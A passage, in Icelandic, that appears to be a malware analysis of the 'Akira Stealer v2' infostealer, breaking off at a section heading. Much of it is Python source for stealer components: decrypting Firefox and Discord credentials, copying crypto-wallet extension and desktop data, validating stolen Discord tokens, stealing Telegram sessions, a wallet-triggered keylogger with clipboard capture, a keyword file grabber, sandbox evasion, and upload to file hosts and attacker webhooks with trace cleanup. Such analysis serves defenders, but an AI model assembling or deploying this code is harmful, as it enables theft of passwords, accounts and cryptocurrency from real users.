Gecko‑byggðir browsers eins og Firefox dulkóða vistuð credentials og cookies með meginlykli sem geymdur er í key4.db. Akira hefur einfaldaða afkóðunarrútínu sem speglar NSS-rökvísi Mozilla og tekur á bæði 3DES- og AES‑CBC-afbrigðum án þess að kveikja á kvaðningu um meginlykilorð. Dæmi um notkun:
# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()
# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))
print("Decrypted Firefox password:", clear_password)
Með þessari rútínu getur Akira dumpað logins.json, cookies.sqlite og places.sqlite fyrir hvern Firefox-prófíl með gagnsæjum hætti og skrifað afkóðaða úttakið í:
Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt
Þessi aðferð fer fram hjá athugunum á meginlykilorði á notandastigi og gefur stealernum óhindraðan aðgang að öllum vistuðum credentials.*
4. Skráauppbygging og nafngiftir
<ComputerName>.zip
└── <ComputerName>\
├── Passwords\
│ ├── Chrome Passwords.txt
│ ├── Edge Passwords.txt
│ └── …
├── Cookies\
│ ├── Chrome Cookies.txt
│ ├── Edge Cookies.txt
│ ├── user@example.com Google Session.txt
│ └── …
├── CreditCards\
│ ├── Chrome CreditCards.txt
│ └── …
├── History\
│ ├── Chrome History.txt
│ └── …
├── Autofill\
│ ├── Chrome Autofill.txt
│ └── …
└── Wallets\
├── Firefox_Default_profiles.zip
├── Firefox_Profile1_profiles.zip
└── …
- Hver
.txt-skrá byrjar á samræmdum haus (<================[Akira Stealer v2]>================>) og skiljulínu (====…====). - ZIP á diski:
%TEMP%\<ComputerName>.zip. - Skráarheiti hjá C&C:
Akira-<username>.zip.
5. Exfiltration og tiltekt
url = Webhook.uploadToGofile(zip_path)
if not url:
url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
- Aðalrás (GoFile.io): malware-ið reynir fyrst að hlaða ZIP-safnskránni með öllum stolnum artifacts upp á GoFile.io og les úr JSON-svarinu
downloadPage-URL sem gefur árásaraðilanum beinan aðgang að safnskránni. - Sjálfvirkar varaleiðir: bregðist GoFile-endapunkturinn (tímamörk á neti, hraðamörk og fleira) fellur kóðinn snurðulaust yfir á
file.io, og skili það líka tómum hlekk þá loks áoshi.at. Bæði afbrigðin eru kölluð án þess að undantekningar séu kastaðar, sem tryggir að ein af þessum þrem þjónustum verður alltaf reynd í röð. - Webhook-tilkynningar: þegar URL (eða tómur strengur ef allt bregst) hefur verið ákvarðað er kallað á
Webhook.sendDataTG(...), sem pakkar niðurhalshlekknum, auðkennum vélarinnar (chatId,startup-flagg) og öllum flokkatölum (lykilorðum, cookies, sjálfvirkum útfyllingum, veskjum) saman í eitt Discord- eða Telegram-skeyti. - Tafarlaus tiltekt: eftir tilkynninguna eyðir
Utils.clear_client_folder()endurkvæmt öllu tímabundna vinnusvæðinu og ZIP-skránni sjálfri, og skilur engin spor eftir á diski um söfnuðu gögnin eða safnskrána.
Þol gegn bilunum:
- Allar upphalsrútínur skila
""þegar þær bregðast í stað þess að kasta, sem tryggir að kóðaflæðið haldi áfram.- Jafnvel þótt engin þjónusta sé aðgengileg sendir malware-ið samt webhook-skýrslu (þótt hlekkinn vanti) áður en það eyðir staðbundnum artifacts, sem lágmarkar forensic-leifar nema ferlið hrynji óvænt.
6. Þol og meðhöndlun villna
- Fínkornótt meðhöndlun undantekninga: hver samskipti við skráakerfið, hvort sem það er
shutil.copy, SQLite-fyrirspurnir eða ZIP-aðgerðir, er pakkað ítry/except-blokkir. Þegar villa kemur upp (læstur gagnagrunnur, aðgangi hafnað, gölluð færsla) er undantekningin veidd og loggast meðAkira.logErrorTg(), og keyrslan heldur áfram, sem einangrar bilunina við þá tilteknu skrá eða einingu. - Þráðaeinangrun fyrir hvern browser: útdráttarrútínurnar fyrir hvern studdan browser keyra í sínum eigin þræði. Þessi fjölþráðahönnun tryggir að hrun eða frost í útdrætti eins browsers (t.d. skemmdur prófíll, lykill sem vantar) stöðvi eða seinki ekki greiningu annarra browsers.
- Hljóðlátar varaleiðir og sjálfgefin gildi: margar hjálparrútínur, svo sem upphal á aðra skráahýsingu, athugun á fjartengdum tilföngum eða ræsing undirferla, notar hreiðrað
try/exceptán nokkurra viðvarana á yfirborðinu, sem hámarkar ósýnileika. Sjálfgefin gildi (tómir strengir, bólsk gildi) eru valin til að halda flæðinu órofnu og fjarlægja augljósar villustöður. - Mutex- og startup-verðir: nefndur mutex (
1qsMlseJplTlArIF14f) hindrar mörg samtímis tilvik, en registry-athuganir ogUtils.CreateMutex()verja gegn samhliða keyrslum og gefa aukinn stöðugleika í raunverulegri dreifingu.
7.8 Exfiltration veskja og tokens
Í þessum fasa framkvæmir Akira Stealer v2 heildstæðustu sópunina að credentials fyrir kryptógjaldmiðla og setutokens, sem nær yfir browser extensions, skjáborðsveski, skilaboðatokens og lifandi keylogging. Það keyrir í samhliða þráðum, sem tryggir að engin leið verði útundan. Hér fyrir neðan er skref-fyrir-skref djúpköfun með kóðatilvísunum.
7.8.1 Veski í browser extensions
Skotmörk: yfir 80 extensions þvert á vinsæla browsers, þar á meðal MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og fleiri.
# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
["MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"],
["Phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
["TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"],
["CoinbaseWallet", "hfhmhopkfngkjcalldmaepmpilmjjemb"],
["Solflare", "bhhhlbepdkbapadjdnnojkbgioiodbic"],
["BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"],
["Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"],
["Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"],
["Talisman", "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
["TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
# ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
base = os.path.join(user_data, "Default", "Local Extension Settings")
for ext_name, ext_id in walletsExtensions:
src = os.path.join(base, ext_id)
if os.path.isdir(src):
dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
shutil.copytree(src, dest, dirs_exist_ok=True)
data.ext_wallets_count += 1
- Skrár sem eru afritaðar: IndexedDB, LevelDB, JSON- og uppsetningarskrár sem eru sértækar fyrir hvert extension og innihalda dulkóðaða lykla, seed-frasa og innskráningar-credentials.
- Úttaksmappa:
Wallets/MetaMask_Chrome/,Wallets/Phantom_Edge/og fleiri.
7.8.2 Skjáborðsveskjaforrit
Skotmörk: helstu skjáborðsklientar eins og Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi og fleiri.
walletsDesktop = [
["Electrum", os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
["Exodus", os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
["Guarda", os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
["Rabby", os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
["Coinomi", os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
if os.path.isdir(path):
Utils.TaskKill(name.lower())
dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
shutil.copytree(path, dest, dirs_exist_ok=True)
data.desktop_wallets_count += 1
- Gögn sem eru stolin: keystore-skrár (
*.dat,*.json), útflutt einkalyklar, uppsetning veskja og færsluferill. - Gagnsemi: innihald veskja utan nets sem árásaraðilinn getur notað til að heimila færslur.
7.8.3 Söfnun Discord-tokens
Discord-tokens eru sannvottunar-artifacts, í raun langlíf bearer-tokens, sem geta veitt fullan aðgang að reikningi notanda án þess að þurfa credentials hans eða MFA. Akira nýtir þetta og skannar gagnamöppur browsers og forrita að tokens sem ýmsir Discord-klientar vista, þar á meðal Discord Stable, Canary, PTB (Public Test Build) og jafnvel breyttar afleiður eins og Lightcord.
Aðferðin beinist að LevelDB-skrám undir Local Storage forritsins, þar sem sannvottunartokens liggja oft í plaintext. Með reglulegum segðum skannar malware-ið þessar .log- og .ldb-skrár að mynstrum sem passa við venjuleg notandatokens eða tokens með MFA.
Til að auka áreiðanleika og draga úr klið hefur Akira staðfestingarskref: það sendir prófbeiðni á /users/@me-endapunkt Discord með hverju söfnuðu tokeni. Aðeins tokens sem sannvottast með árangri (HTTP 200) eru exfiltreruð með webhook, yfirleitt á Discord-rás undir stjórn árásaraðilans.
Þessi aðferð gerir árásaraðilum kleift að yfirtaka Discord-reikninga í rauntíma, þykjast vera fórnarlambið, sópa upp einkaskeytum og servera eða dreifa frekara malware með félagslegri hönnun, allt án þess að kveikja á innskráningarviðvörunum.
import re, requests
patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}", # User tokens
r"mfa\.[\w-]{84,100}" # MFA tokens
]
def harvest_discord(base, webhook_url):
db_dir = os.path.join(base, "Local Storage", "leveldb")
for file in os.listdir(db_dir):
if file.endswith(('.log', '.ldb')):
for line in open(os.path.join(db_dir, file), errors='ignore'):
for pat in patterns:
for token in re.findall(pat, line):
# Verify token
h = {"Authorization": token}
r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
if r.status_code == 200:
uname = r.json()["username"] + "#" + r.json()["discriminator"]
payload = {"content": f"**Discord** {uname}: `{token}`"}
requests.post(webhook_url, json=payload)
- Staðfesting: birtir aðeins gild tokens, sem hindrar að útrunnin JWT séu send.
7.8.4 Setuskrár Telegram
Skotmörk: Telegram Desktop/TData
def steal_telegram(tdata_path, dest_root):
if os.path.exists(tdata_path):
Utils.TaskKill("telegram.exe")
dest = os.path.join(dest_root, "Wallets", "Telegram")
shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
data.has_telegram = True
- Skrár:
tdata-mappa sem inniheldur setulykla,D877F...-mappa með secret- og unsecret-skrám. - Notkun: hlaðið inn í Telegram-klient árásaraðilans til að fá fullan aðgang að reikningnum.
7.8.5 Lifandi keylogging á veskjum
Kryptógjaldmiðlaveski eru helstu skotmörk nútíma infostealers. Akira hefur lifandi keylogger sem er sérhannaður til að stela credentials veskja, svo sem seed-frösum, einkalyklum og lykilorðum, á því augnabliki sem þau eru slegin inn. Ólíkt almennum keyloggers virkjast þessi aðeins þegar þekktur veskjagluggi finnst, sem minnkar klið verulega og aukur skilvirkni.
Einingin vaktar titla á virkum gluggum og ber þá við harðkóðaðan lista vinsælla veskjaforrita eins og MetaMask, Phantom, Atomic Wallet og fleiri. Þegar gluggi sem passar er í forgrunni byrjar hún að skrá ásláttinn með lyklaborðshookum sem virka á öllu kerfinu. Þegar notandinn ýtir á Enter fangar einingin samstundis innihald klippiborðsins, því hún gerir ráð fyrir að notendur afriti oft leyndarmál við uppsetningu eða innskráningu í veski, og sendir bæði innslegna textann og klippiborðsgögnin á webhook árásaraðilans. Þessi aðferð er afar áhrifarík því hún sameinar tvær árásarleiðir:
- Keylogging sem tekur mið af samhengi og fangar aðeins viðkvæmt inntak í veskjum þegar það á við.
- Yfirtöku klippiborðsins, til að draga út afritaða endurheimtufrasa eða áfangaheimilisföng áður en þeim er límt inn.
Samanlagt gera þessar aðferðir árásaraðilum kleift að kompromítera veski hljóðlega í rauntíma, jafnvel án aðgangs að browsernum eða exfiltration skráa.
import keyboard, pyperclip
class WalletKeylogger:
def __init__(self, wallet_titles):
self.buf = ""
keyboard.on_release(self.capture)
self.wallet_titles = wallet_titles
def capture(self, event):
title = pygetwindow.getActiveWindow().title
if any(w in title for w in self.wallet_titles):
if event.name == 'enter':
data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
send_to_webhook(data)
self.buf = ""
else:
self.buf += event.name
- Kveikjulisti: titlar glugga sem innihalda „MetaMask", „Phantom", „Atomic Wallet" og fleiri.
- Klippiborð: fangar afritaða seed-frasa eða einkalykla.
7.8.6 Pökkun og exfiltration
Eftir að hafa safnað browsergögnum, credentials, veskjaupplýsingum og tokens heldur Akira áfram og sameinar og exfiltrerar þýfið með mjög sjálfvirkum og hljóðlátum hætti. Þetta þrep er síðasta skrefið í sýkingarkeðjunni og er fínstillt fyrir áreiðanleika og lágmarks forensic-fótspor. Fyrst eru öll söfnuð gögn, þar á meðal browser-dumpar, loggar og veskjaupplýsingar úr keyloggernum, þjappuð í ZIP-safnskrá. Það tryggir að allt gagnasafnið megi flytja sem einn payload. Safnskránni er svo hlaðið upp á margar opinberar skráadeilingarþjónustur eins og GoFile, File.io eða Oshi.at, eftir því hvað er aðgengilegt. Þessir pallar bjóða nafnlausa og skammlífa hýsingu og eru oft notaðir til að komast fram hjá eldveggjum fyrirtækja eða blokkun sem byggir á orðspori. Samhliða er skipulögð skýrsla búin til og send árásaraðilanum með Discord- eða Telegram-webhook. Hún inniheldur samantektartölur, hve mörg veski fundust, hve mörg tokens voru gild, og beinan hlekk á stolnu gögnin. Það gefur árásaraðilum fljótt yfirlit yfir verðmæti skotmarksins án þess að opna safnskrána.
Að lokum eyðir malware-ið tímabundnu möppunni og safnskránni af diski, og fjarlægir þannig í reynd staðbundnar forensic-sannanir. Þegar þeir sem verjast koma auga á sýkinguna eru gögnin þegar farin, og oft óafturkræf.
# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
"title": "💰 Wallet & Token Exfiltration Report",
"fields": [
{"name": "Extension Wallets", "value": data.ext_wallets_count},
{"name": "Desktop Wallets", "value": data.desktop_wallets_count},
{"name": "Discord Tokens", "value": len(valid_tokens)},
{"name": "Telegram Sessions", "value": data.has_telegram},
{"name": "Archive Link", "value": url or "[upload failed]"},
]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()
7.9. Þjófnaður Discord- og Telegram-tokens (klasi: Discord)
Discord-klasinn í Akira Stealer v2 keyrir mjög samhliða fjölþrepa ferli til að safna bæði Discord-authorization-tokens og Telegram-setugögnum. Hér fyrir neðan tökum við hvern hluta í sundur með nákvæmum kóðatilvísunum og lýsandi dæmum.
7.9.1 Frumstilling og upptalning slóða
Þegar tilvik er búið til byggir smiðurinn tvö söfn markslóða:
# Discord client LevelDB directories
discord_paths = [
[f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
[f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
...
]
# Chromium-based browser LevelDB directories
browserPaths = [
[f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
[f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
...
]
- Discord-slóðir beinast að opinberum og óopinberum Discord-klientum undir
%APPDATA%. - Browser-slóðir nái yfir notandagagnamöppur vinsælla browsers, þar á meðal undirmöppur fyrir local storage og extensions.
Þráðum er ræst fyrir hverja færslu:
for patt in browserPaths:
t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
t.start()
for patt in discord_paths:
t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
t.start()
Þetta þráðamódel hámarkar I/O-afköst og prófar tugi mappa samhliða.
7.9.2 Rökvísi útdráttar tokens
Söfnun tokens í plaintext úr browsers
get_btoken(path, arg) fer í hverja LevelDB-möppu og skoðar .log- og .ldb-skrár:
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}", errors="ignore"):
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
tokens = re.findall(regex, line)
for token in tokens:
self.tokens.append(token)
self.cehckToken(token)
- Regluleg segð
[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}passar við venjuleg Discord-tokens. - Regluleg segð
mfa\.[\w-]{80,95}fangar MFA-tokens. - Afföllun er óbein: tokens eru vistuð í
self.tokensáður en þau eru staðfest.
Afkóðun dulkóðaðra tokens í Discord-klientinum
Klient Discord dulkóðar Local Storage-færslur með DPAPI, með v10 eða v11 sem forskeyti. get_discord(path, arg) tekur á því:
# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)
# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}"):
for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
ciphertext = b64decode(token_part)
token = self.decrypt_value(ciphertext, master_key)
self.tokens.append(token)
self.cehckToken(token)
- Endurheimt meginlykils: fjarlægir 5-bæta DPAPI-hausinn og kallar svo á
CryptUnprotectData(sem pakkar Windows DPAPI) til að afkóða AES-GCM-lykilinn. - Úrvinnsla payloads: tokens hafa
dQw4w9WgXcQ:sem forskeyti (merki sem árásaraðilinn valdi). Eftir Base64-afkóðun klýfurdecrypt_value()IV og dulmálstexta:def decrypt\_value(buff, master\_key): iv = buff\[3:15] payload = buff\[15:] cipher = AES.new(master\_key, AES.MODE\_GCM, iv) return cipher.decrypt(payload)\[:-16].decode()
7.9.3 Staðfesting og exfiltration tokens
Hvert token sem dregið er út er staðfest með lifandi API-kalli:
headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
self.cehckToken(token)
- Ef það gengur upp ákvarðar
cehckToken()hvort sent skuli með Telegram (useTg=True) eða Discord-webhook:if useTg: self.sendTokenTg(token) else: self.send\_embed(token)
send_embedbýr til ríkt Discord-embed sem inniheldur lýsigögn notandans (notandanafn, discriminator, tölvupóst, Nitro-stöðu, greiðsluupplýsingar) með svæðum úr
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
sendTokenTgsendir samantekt í plaintext yfir Telegram-API.
7.9.4 Söfnun Telegram-seta
Umfram Discord-tokens grípur stealerinn Telegram Desktop-setur:
@staticmethod
def steal_telegram():
src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
Utils.TaskKill("telegram.exe")
shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
- Stöðvun ferla: tryggir að skráalæsingum sé sleppt.
- Endurkvæm afritun: stelur
tdata-möppunni, þar á meðal notandasetum, tengiliðum og skeytum í skyndiminni. - Exfiltration: stolnu möppunni er pakkað og hlaðið upp með
sendFilesTG(), með niðurhalshlekknum innbyggðum í Telegram-skeyti.
Discord-eining Akira Stealer sameinar söfnun með reglulegum segðum, AES-GCM-afkóðun með stuðningi DPAPI, staðfestingu með lifandi API og exfiltration yfir margar samskiptareglur (webhook og Telegram) til að skila hnökralausri getu til að yfirtaka reikninga á báðum pöllunum, Discord og Telegram.
7.10 Kerfisgreining
Akira Stealer v2 hefur umfangsmikinn greiningarfasa á kerfinu til að safna lýsigögnum hostsins, einkennum umhverfisins og netupplýsingum. Þessum upplýsingum er safnað í Data-klasann og þær síðar pakkaðar með exfiltreruðum credentials. Hér fyrir neðan tökum við greiningarrökvísina í sundur með beinum kóðatilvísunum.
7.10.1 Frumstilling Data-klasans
Við ræsingu er tilvik af Data búið til:
class Data:
def __init__(self):
self.username = os.getlogin()
self.computerName = os.getenv("computername") or "Unable to get computer name"
self.system_info = f"Computer Name: {self.computerName}\n..."
...
self.ip = requests.get(url="https://api.ipify.org").text
ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
self.country = ipdata.get("country")
self.countryCode = ipdata.get("countryCode", "").lower()
- Notandanafn og hostname: sótt með
os.getlogin()og umhverfisbreytunniCOMPUTERNAME. - IP-tala: sótt með
requests.get("https://api.ipify.org")og svo staðsett í gegnumip-api.comtil að fá land og ISO-kóða.
7.10.2 Upptalning stýrikerfis og vélbúnaðar
Með skipunum Windows Management Instrumentation (WMI):
# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)
Niðurstöður eru unnar í læsilega strengi (strip(), vísiaðgerðir) og skeyttar saman í:
self.system_info = (
f"Computer Name: {self.computerName}\n"
f"Total Memory: {self.totalMemory}\n"
f"CPU: {self.cpu}\n"
f"GPU: {self.gpu}\n"
f"Product Key: {self.productKey}"
)
7.10.3 VM-detection og athuganir gegn sandbox
Áður en djúpgreiningin hefst kallar malware-ið á VmProtect.isVM(level) til að finna sýndarvæðingar- eða greiningarumhverfi:
if VmProtect.isVM(1):
sys.exit()
Meðal helstu athugana eru:
- Registry-lyklar og lýsingar drivera: gerir fyrirspurnir í registry-færslur sem tengjast sýndarvæðingu.
- Svartlistuð UUID og tölvuheiti: ber við þekkt fingraför sýndarvéla.
- HTTP-hermun: reynir að tengjast léni sem er ekki til yfir HTTPS.
- Svartlisti ferla: ræsir bakgrunnsþráð til að drepa tól eins og
wireshark,ollydbg,ida64.
7.10.4 Pökkun og sending
Söfnuðu system_info, IP-ið og fáni landsins eru byggð inn í hausana á webhook-payloadinum:
webhook_payload = {
"embeds": [{
"title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
"description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
"fields": [...]
}]
}
requests.post(self.webhook_url, json=webhook_payload)
- Fánatáknmynd: leidd út frá ISO-landskóðanum.
- Svæði: innihalda tölur yfir stolin lykilorð, cookies og fleira, en kerfisupplýsingarnar eru í lýsingu embedsins svo samhengið fáist samstundis.
Samantekt: Kerfisgreiningin í Akira Stealer v2 safnar heildstæðum gögnum um hostinn og netið með WMI-skipunum, umhverfisbreytum og IP-staðsetningu. Ásamt VM-detection og rútínum sem drepa tól tryggir þetta að árásaraðilinn hafi fulla mynd af kompromíseraða umhverfinu, sem styrkir markvissar eftirfylgniaðgerðir og síar út greiningar-sandboxa.
7.11 Skráagrabbari (klasi: Utils.steal_files)
Umfram browsergögn og tokens reynir Akira einnig að draga út verðmætt efni sem notandinn hefur búið til, svo sem skjöl, töflureikna, persónulegar nótur og skrár með dulkóðunarlyklum. Skráagrabbara-einingin er ábyrg fyrir þessu verki. Hún skannar verðmætar möppur að algengum skráartegundum og mynstrum og bætir þeim hljóðlega í exfiltration-búntinn. Það sem gerir þessa einingu sérstaklega hættulega er einfaldleiki hennar og einbeiting: hún reynir ekki að fara yfir allt skráakerfið. Í staðinn beinist hún að tilteknum stöðum með háa vinningslíkindi þar sem viðkvæmar skrár eru yfirleitt geymdar. Þar á meðal eru Desktop-, Documents-, Downloads- og OneDrive-möppurnar, hver miðuð við heimaslóð notandans. Þessi markvissa nálgun bætir bæði hraða og ósýnileika og minnkar líkur á detection meðan skannað er. Hún forðast líka að vekja notandann með því að fara ekki í kerfis- eða varðar möppur. Þegar skrár sem áhugi er á hafa fundist eru þær afritaðar í tímabundna möppu, eftir atvikum endurnefndar eða flokkaðar, og síðar þjappaðar í endanlega ZIP-safnskrá sem hlaðið er upp í exfiltration-fasanum.
7.11.1 Upptalning markmappa
Stealerinn beinist að fjórum möppum með háa afurð:
searchFolders = [
"Desktop",
"Documents",
"Downloads",
"OneDrive"
]
Hver mappa er túlkuð miðað við heimamöppu fórnarlambsins:
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
# proceed to scan
7.11.2 Síun eftir leitarorðum og skráarendingum
Listi leitarorða
Fyrirfram skilgreint safn undirstrengja stýrir skráavalinu. Aðeins skráarheiti sem innihalda að minnsta kosti eitt leitarorð eru tekin til skoðunar:
keywordsFiles = [
"passw", "seed", "mnemo", "phrase", "login", "wallet",
"crypto", "token", "backup", "secret", "account"
]
- Hlutasamsvaranir: leitarorð eins og
passwfanga bæðipasswords.txtogpassw_backup.docx. - Breið þekja: nær yfir hugtök sem tengjast sannvottun, veskjum, kryptó og tokens.
7.11.3 Skráartegundir sem eru heimilaðar
Til að lágmarka klið er hvítlisti skráarendinga framfylgt:
allowed_extensions = [
".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
".jpg", ".png"
]
7.11.3 Stærðarþak
Skrár stærri en 2 megabæt eru sleppt til að hraða exfiltration og forðast stórar sendingar:
file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
# eligible for copy
7.11.4 Endurkvæm skönnun og afritunarrökvísi
Þegar verðmætu möppurnar hafa verið greindar hefur Akira endurkvæma skönnunarrútínu til að fara í gegnum undirmöppur og finna skrár sem passa við tiltekin leitarorð og skráarendingar. Þessi fasi er byggður fyrir nákvæmni og ósýnileika: aðeins skrár sem passa við fyrirfram skilgreind viðmið, svo sem skráarheiti sem innihalda viðkvæm leitarorð og heimilaðar skráartegundir, eru tekin til skoðunar. Rökvísin tryggir að aðeins efni sem á við og notandinn hefur búið til sé exfiltrerað. Hún horfir framhjá kerfisskrám, skyndiminni og binaries og takmarkar stærð hverrar einstakrar skráar við 2 MB til að minnka upphalsstærð og detection-áhættu. Þessi skönnunaraðferð er hljóðlát, skilvirk og fínstillt fyrir hljóðlátan gagnaþjófnað í raunumhverfum. Með því að afrita skrár sem passa í staging-möppu og halda lista yfir það sem var tekið undirbýr Akira innihaldið til pökkunar og exfiltration, en lágmarkar um leið afföll og rekstrarklið.
Kjarnarútínan steal_files() starfar svona:
@staticmethod
def steal_files():
stolen_files = set()
temp_folder = Utils.get_temp_folder()
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
for root, _, files in os.walk(current_path):
for file in files:
lower = file.lower()
# Keyword check
if any(keyword in lower for keyword in keywordsFiles):
ext = os.path.splitext(lower)[1]
# Extension and size check
if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
# Prepare destination
files_dir = os.path.join(temp_folder, "Files")
os.makedirs(files_dir, exist_ok=True)
shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
stolen_files.add(file)
data.stolen_files.extend(stolen_files)
Helstu punktar:
os.walk: fer endurkvæmt niður í undirmöppur.- Samsvörun óháð stafstærð: skráarheiti eru samræmd með
lower(). - Heil afritun: notar
shutil.copytil að varðveita innihald skráarinnar. - Safn stolinna skráarheita: hindrar afföll þegar sama skrá kemur fyrir tvisvar.
- Samþætting við
Data:data.stolen_filessafnar lista yfir stolnar skrár fyrir síðari tilkynningu.
7.11.5 Pökkun og exfiltration
Eftir söfnun er Files-möppunni pakkað og hún send:
# Archive
Utils.zip_client_file() # creates CLIENT.zip from temp_folder
# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
zip_client_file(): þjappar allri tímabundnu möppunni, þar á meðalFiles,Cookies,Passwordsog fleiru.sendFilesTG(): birtir niðurhalshlekkinn með Telegram- eða Discord-webhook og listar hvert stolið skráarheiti:fields.append({ "name": "📂 Files", "value": "`" + "\n".join(data.stolen_files) + "`", "inline": False })
Niðurstaða:
Skráagrabbarinn í Akira Stealer v2 leitar með aðferð að viðkvæmum skjölum með síum á leitarorð og skráarendingar, virðir 2 MB stærðarþak til að vera skilvirkur og sameinar stolna hluti í safnskrá. Hönnun hans tryggir bæði breidd (margar möppur) og nákvæmni (markvissar síur), sem gerir hann eitt áhrifamesta þrepið í líftíma malware-sins.
7.12 Stefna við exfiltration
Exfiltration-einingin meðhöndlar söfnuð tokens og aðra artifacts (cookies, sjálfvirkar útfyllingar, logga) með því að staging-a þau í skipulagðri möppu, þjappa í safnskrá, hlaða upp á margar netskráahýsingar og senda ítarlegar webhook-tilkynningar. Þessi kafli tekur hvert skref í sundur með skráaslóðum, lénaendapunktum og kóðatilvísunum til fulls rekjanleika.
7.12.1 Möppuskipulag og skráarheiti
